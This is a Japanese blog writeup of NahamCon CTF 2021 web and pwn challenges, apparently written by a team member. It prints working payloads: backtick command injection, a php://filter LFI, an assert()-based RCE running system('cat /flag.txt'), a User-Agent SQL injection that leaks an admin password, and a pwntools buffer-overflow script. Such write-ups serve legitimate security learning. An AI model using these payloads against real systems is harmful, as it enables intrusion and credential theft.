きなこもち。

(´・ω・`)

NahamCon CTF 2021 writeup【web,pwn】

f:id:kinako_mochimochi:20210315214557p:plain
NahamCon CTF 2021

  • 3/13~3/14に行われたNahamCon CTF 2021にチームsh -a ./chikuとして出場し、Webの$Echo,Asserted, Bad Blog、PwnのRet2basicThe Listを解きました。(miscは省略します)
  • このうち、簡単なRet2basic以外の問題のwriteupを残したいと思います

Index

f:id:kinako_mochimochi:20210315215118p:plain
スコアボードかっこいい

Web

$Echo [os command injection, easy]

Author: @Blacknote#1337

So I just made a hardcoded bot that basically tells you what you wanna hear. Now usually it's a $ for each thing you want it to say but I'll waive the fee for you if you beta test it for me.

問題サーバにアクセスすると、文字列を受け付けるフォームがあります。

f:id:kinako_mochimochi:20210315215626p:plain

Investigation

  • PHP製のアプリで、Apache上で動作
  • 記号の類は全てサーバ側で弾かれるようです
    • ただし<だけは例外のようです

Exploit

  • とりあえずOS command injectionだとアタリをつけ、cheat sheetからコピペして貼り付ける作業をした結果、バッククォートで囲んだコマンドが実行されることがわかりました

f:id:kinako_mochimochi:20210315220014p:plain
markdownだとバッククォートが入力しづらく...

  • cat index.phpを実行し、抜き出したPHPのソースは以下の通りです
<?php $to_echo = $_REQUEST['echo'];
$cmd = "bash -c 'echo " . $to_echo . "'";
if (isset($to_echo))
{
    if ($to_echo == "")
    {
        print "Please don't be lame, I can't just say nothing.";
    }
    elseif (preg_match('/[#!@%^&*()$_+=\-\[\]\';,{}|":>?~\\\\]/', $to_echo))
    {
        print "Hey mate, you seem to be using some characters that makes me wanna throw it back in your face >:(";
    }
    elseif ($to_echo == "cat")
    {
        print "Meowwww... Well you asked for a cat didn't you? That's the best impression you're gonna get :/";
    }
    elseif (strlen($to_echo) > 15)
    {
        print "Man that's a mouthful to echo, what even?";
    }
    else
    {
        system($cmd);
    }
}
else
{
    print "Alright, what would you have me say?";
} ?>

  • ls ../を実行するとflag.txtがあったのでcat ../flag.txtをして終わり,ではありません。PHPのソースには入力が14文字より大きい場合はsystem関数の実行ができないようになっています
    • つまり、バッククォート2つを含めたcat ../flag.txtは17文字なので実行不可、またcat ../*のようなワイルドカードを用いたコマンドも*が使えず、他のコマンドもハイフンがないので使えなかったです
  • ここで<を使えば、bash -c 'echo < ../flag.txt'となり何故かflagが出ました

f:id:kinako_mochimochi:20210315221317p:plain

  • flag{1beadaf44586ea4aba2ea9a00c5b6d91}

Asserted [LFI and os command injection, medium ]

Time to hit the gym! Assert all your energy! Err, wait, is the saying "exert" all your energy? I don't know... The flag is in /flag.txt.

問題サーバへアクセスすると、ジム?のWebページが表示されます

f:id:kinako_mochimochi:20210315221541p:plain
Asserted

Investigation

  • PHP製、Apache上で稼働
  • ページの切り替えはhttp://challenge.nahamcon.com:30732/index.php?page=scheduleのように?page=の後に続く文字列でサーバサイドで切り替えているようです
    • よってLFIができるとアタリをつけます

LFI?

  • 色々試したところ、php://filterを用いたLFIでindex.phpソースコードを抜くことができました
(´・ω・`)< curl http://challenge.nahamcon.com:30732/index.php?page=php://filter/convert.base64-encode/resource=index

PD9waHANCg0KaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7DQogICRwYWdlID0gJF9HRVRbJ3BhZ2UnXTsNCiAgJGZpbGUgPSAkcGFnZSAuICIucGhwIjsNCg0KICAvLyBTYXZpbmcgb3Vyc2VsdmVzIGZyb20gYW55IGtpbmQgb2YgaGFja2luZ3MgYW5kIGFsbA0KICBhc3NlcnQoInN0cnBvcygnJGZpbGUnLCAnLi4nKSA9PT0gZmFsc2UiKSBvciBkaWUoIkhBQ0tJTkcgREVURUNURUQhIFBMRUFTRSBTVE9QIFRIRSBIQUNLSU5HIFBSRVRUWSBQTEVBU0UiKTsNCiAgDQp9IGVsc2Ugew0KICAkZmlsZSA9ICJob21lLnBocCI7DQp9DQoNCmluY2x1ZGUoJGZpbGUpOw0KDQo/Pg0K
<?php

if (isset($_GET['page'])) {
  $page = $_GET['page'];
  $file = $page . ".php";

  // Saving ourselves from any kind of hackings and all
  assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");
  
} else {
  $file = "home.php";
}

include($file);

?>
  • ここで..が禁止されていることに気づきます。..が禁止されている場合は絶対パスでバイパスできるはずなので/flag.txtを指定しますが、flagは返ってきません
    • というのも、入力に.phpを無理矢理つけるので、実際には/flag.txt.phpとなっているようです
    • この場合はNULL byteである%00または%2500 をつけてやればバイパスできるはずですが、この問題においてはPHPの設定で防がれているっぽいので不可能でした

RCE via assert()

  • ここで問題名のAssertedが匂いました。確かにindex.phpにはassert()を使っていますし、そもそもPHPのassert関数起因でのRCEができることを知っていたので、この問題はLFI→RCEなのでは?と考えました

hydrasky.com

この記事はassert()関数経由でのRCEの説明をしていますが、ソースコードがまんま本問のindex.phpに酷似しています

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "includes/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
>?
  • このサイトのpayloadを試して終わりだ!と思ったのですが、私の環境ではうまくいきませんでしたw

  • というわけで別のこちらのpayloadを試したところ成功しました!

f:id:kinako_mochimochi:20210315223246p:plain

Exploit

  • final payload http://challenge.nahamcon.com:30732/index.php?page='.system("cat /flag.txt").'about

  • flag{85a25711fa6e111ed54b86468a45b90c}

Bad blog[SQLi, medium ]

Author: @congon4tor#2334

We just added analytics to our blogging website. Check them out!

問題サーバにアクセスすると、ログイン画面を経て何の変哲もないブログが表示されます

f:id:kinako_mochimochi:20210315223632p:plain
Bad blog

Investigation

  • アプリはPHP製、Apache上で稼働
  • 怪しいのは投稿画面の画像URLのフォーム、投稿内容、searchフォームでのSQLi、ページのidでのSQLi(GrimmCon CTFではここにUnion-based SQLiがありました)

Where is a vulnerability

XXE?

まず私が真っ先に疑ったのは、記事投稿画面の画像のURL指定フォームです。 というのも、以前どこかの勉強会で同じ機能でSQLiだかSSRFされたというのを聞いたことがあったからです。

f:id:kinako_mochimochi:20210315224313p:plain
ImageとThumbnailの部分

XXEを仕込んだSVGファイルやら色々試しましたが、結果的にここに脆弱性はありませんでした。

SQLi?XSS?

次は記事のContentフォームです。 ここにStored XSSができますが、肝心のadminが見にきてくれる機能がなかったため、これも使えそうにありません。

f:id:kinako_mochimochi:20210315224612p:plain
解いた今、これはブラフだったと気づく

また、検索フォームでのSQLiなども試しましたが全く刺さらず3時間くらい経過しました...

SQLi via User-Agent

最後に残ったのは、記事を見にきたユーザのUser-Agentを記録していく機能のページでした。

f:id:kinako_mochimochi:20210315224727p:plain

ここでUAを色々いじって自分の記事にアクセスしていると、シングルクォートを含んだUAでエラーが出ることに気づきました

Bad Request

(sqlite3.OperationalError) unrecognized token: "''');"
[SQL: insert into visit (post_id, user_id, ua) values (5,2,''');]
(Background on this error at: http://sqlalche.me/e/13/e3q8)

ご丁寧なことに、SQL文まで明示してくれています!

insert into visit (post_id, user_id, ua) values (5,2,'<UAの文字列の内容>');

よってこの問題は、SQLiの問題でした。

色々試した結果、Union-based SQLiのエラーメッセージ経由でuserテーブルが存在すること、passwordカラムが存在すること、そしてflagテーブルみたいなものは存在しないことを確認しました

UA') union select password,2,3 from user -- - - これのpasswordをpassに変えたり、userをusersとかflagに変えたときのエラーで情報を取得

これらをまとめると、ゴールはuserテーブルのadminのpasswordカラムを例のUA情報のテーブルにINSERT してしまえばadminのパスワードがリークできそうなので、やってみました

そのためのUAに仕込むSQLiのためのpayloadはこれです! '), (5,2, (select password from user)) -- -

実際に実行されるSQL文は↓このようになり、adminのパスワードがUAを管理しているテーブルのレコードにINSERTされます。

insert into visit (post_id, user_id, ua) values (5,2,''), (5,2, (select password from user)) -- -');

f:id:kinako_mochimochi:20210315225949p:plain

ということでadminのpasswordは J3H8cqMNWxH68mTjなので、これでログインし直すとflagが表示されました!

f:id:kinako_mochimochi:20210315230046p:plain

  • final payload
    • '), (5,2, (select password from user)) -- -
  • flag{8b31eecb1831ed594fa27ef5b431fe34}

  • 余談ですが、この問題が解けた時31番目だったので割と嬉しかったです

Pwn

The List[BOF?, easy ]

Author: @M_alpha#3534

We need you to compile a list of users for the event. Here's a program you can use to help.

この問題はバイナリを実行するとメニューが表示され、ユーザを追加したり削除できるのでheap問かな?と思ったのですが、Ghidraでデコンパイルしてもmalloc関数などは使われていませんでした。

よって、BOF経由でのreturn address書き換えによりgive_flag関数実行でflagをゲットするようです

  • 色々解析した結果、add_user関数によってユーザの名前がスタック領域にどんどん積まれていくが、ユーザ数のチェックなどはないためにスタックがオーバーフローしてしまうようでした
  • ただし、書き換える対象のreturn addressがスタックに積まれていくユーザ名よりも上部、つまりバッファよりも上に存在するので書き換えられません(多分)
    f:id:kinako_mochimochi:20210315231631p:plain
    ドラッグした部分がmain関数へのreturn address

よってどんどんユーザ名を追加、main関数自体のreturn address(画像のBACKTRACEの部分で__libc_start_main+243を指しているやつです)を上書きしてexit関数を実行し、プログラムを終了させれば上書きした関数に飛ぶのかなぁと思いやってみました。

from pwn import *
import time
#p = remote("challenge.nahamcon.com", 31980)
p = process("./the_list")
e = ELF("the_list")

flag = 0x401369 

def add_user(payload):
    p.sendline(b"2")
    p.recvuntil(b"Enter the user's name: ")
    p.sendline(payload)
    print("sent: ", payload)
    time.sleep(1)


p.recvuntil(b"Enter your name: ")
p.sendline(b"A"*0x20)

p.recvuntil(b"> ")
add_user(b"B" * 0x20)
p.recvuntil(b"> ")
add_user(b"C" * 0x20)
p.recvuntil(b"> ")
add_user(b"D" * 0x20)
p.recvuntil(b"> ")
add_user(b"E" * 0x20)
p.recvuntil(b"> ")
add_user(b"F" * 0x20)
p.recvuntil(b"> ")
add_user(b"G" * 0x20)
p.recvuntil(b"> ")
add_user(b"H" * 0x20)
p.recvuntil(b"> ")
add_user(b"I" * 0x20)
p.recvuntil(b"> ")
add_user(b"J" * 0x20)
p.recvuntil(b"> ")
add_user(b"K" * 0x20)
p.recvuntil(b"> ")
add_user(b"L" * 0x20)
p.recvuntil(b"> ")
add_user(b"M" * 0x20)
p.recvuntil(b"> ")
add_user(b"N" * 0x20)
p.recvuntil(b"> ")
add_user(b"O" * 0x20)
p.recvuntil(b"> ")
add_user(b"P" * 0x20)
p.recvuntil(b"> ")
add_user(b"Q" * 0x20)
p.recvuntil(b"> ")
add_user(b"R" * 8 + p64(flag))

p.interactive()

f:id:kinako_mochimochi:20210315230627p:plain